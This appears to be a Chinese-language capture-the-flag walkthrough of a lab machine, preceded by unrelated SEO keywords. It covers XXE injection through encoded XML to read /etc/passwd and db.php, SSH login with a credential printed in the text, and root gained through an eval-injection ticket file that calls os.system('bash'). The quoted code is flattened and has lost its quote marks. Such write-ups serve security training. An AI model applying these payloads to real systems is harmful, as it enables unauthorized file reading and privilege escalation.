做网站一定要psd吗,产品设计图片大全,自己做网站接广告,大兴西红门网站建设Enumeration
nmap
第一次扫描发现系统对外开放了21#xff0c;22#xff0c;80端口#xff0c;端口详细信息如下 和以前一样#xff0c;先从80端口的http服务开始探索
TCP/80
访问站点#xff0c;主页有三个按钮#xff0c;about#xff0c;contact和portal。看起来…Enumeration
nmap
第一次扫描发现系统对外开放了212280端口端口详细信息如下 和以前一样先从80端口的http服务开始探索
TCP/80
访问站点主页有三个按钮aboutcontact和portal。看起来像是一个安全研究漏洞悬赏这一类的网站 点击about按钮会滚动网页到对应地方有更详细的介绍介绍团队是针对系统漏洞的赏金猎人如果感兴趣可以联系还提到了团队成员掌握了缓冲区溢出漏洞在最下面有一个报价表下载的按钮 点击contact会转到一个留言板 点击portal进入一个很简单的页面 点击here跳转到一个log_submit.php表单 dirsearch
先暂时放着扫描一下web目录看看有没有其他发现
dirsearch -u http://10.10.11.100
扫描发现只有这几个响应是200但是并没有发现什么有意思的东西db.php是空白的 resources下有readme.txt 但是并没有发现有意思的东西
Foothold
XML外部实体注入XXE
刚才还发现了log_submit.php是一个表单填写完内容点击提交后显示如果DB准备好将会添加下列信息又出现了db刚刚还发现了db.php 在burpsuite中可以发现在提交这个包时对data进行了编码 尝试使用CyberChef去解码先解一遍url然后解base64得到了结果发现请求包中的数据是xml格式的 尝试利用xxe来检索文件参考XML External Entity - Payloads All The Things
根据xml头选择这个paylaod 编辑payload然后对代码进行base64编码在转化成url编码 将编码内容作为data的值发送服务器响应后返回/etc/passwd文件 再次尝试看看能否直接读取db.php文件的内容但是失败了而读取index.php也不行查看别人的payload发现有可能是因为无法将php代码处理为xml实体所以使用了php过滤器
和刚才的方法一样先编码 然后发送请求得到的响应是被base64编码过的 将响应包中的内容解码得到了db.php的内容可以看到有一些登录凭证 刚才在查看/etc/passwd时发现能登陆的用户只有root和development考虑密码复用尝试使用ssh连接远程主机尝试development:m19RoAU0hP41A1sTsq6K时成功可以找到user.txt Privilege Escalation
在development目录下不仅发现了user.txt还发现了contract.txt 该文件写有一段话其中提到了有关 John 与 Skytrain Inc 的合同以及“rm -rf”事件的信息。还建议了我们可以研究的内部工具。 尝试在系统中搜索有关Skytrain Inc的东西 发现了留下的信息中提到的东西进入该目录发现了一个python脚本和一个无效票据目录 在刚刚的提示中还说了给了权限猜测有可能与sudo有关发现确实如此 首先看看python脚本中到底写了什么可以看到一开始就要打开文件匹配文件后缀为.md而invalid_tickets中就有四个后缀名为.md的文件 #Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.def load_file(loc):if loc.endswith(.md):return open(loc, r)else:print(Wrong file type.)exit()def evaluate(ticketFile):#Evaluates a ticket to check for ireggularities.code_line Nonefor i,x in enumerate(ticketFile.readlines()):if i 0:if not x.startswith(# Skytrain Inc):return Falsecontinueif i 1:if not x.startswith(## Ticket to ):return Falseprint(fDestination: { .join(x.strip().split( )[3:])})continueif x.startswith(__Ticket Code:__):code_line i1continueif code_line and i code_line:if not x.startswith(**):return FalseticketCode x.replace(**, ).split()[0]if int(ticketCode) % 7 4:validationNumber eval(x.replace(**, ))if validationNumber 100:return Trueelse:return Falsereturn Falsedef main():fileName input(Please enter the path to the ticket file.\n)ticket load_file(fileName)#DEBUG print(ticket)result evaluate(ticket)if (result):print(Valid ticket.)else:print(Invalid ticket.)ticket.closemain()
如果文件名能够匹配就检查文件中的内容检查第一行是不是# Skytrain Inc检查第二行是不是## Ticket to 检查有没有__Ticket Code:__,在ticket行必须以**开头ticket除以7的余数必须等于4满足这个条件则会调用eval函数删除**…… 先尝试使用python脚本处理一张无效票据 在无效票据的基础上创建一张有效的 因为python脚本执行了危险函数eval可以尝试导入os模块并调用system函数来提权编写md文件如下
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**18410__import__(os).system(bash)**
##Issued: 2021/04/06
#End Ticket
执行命令后成功获取root权限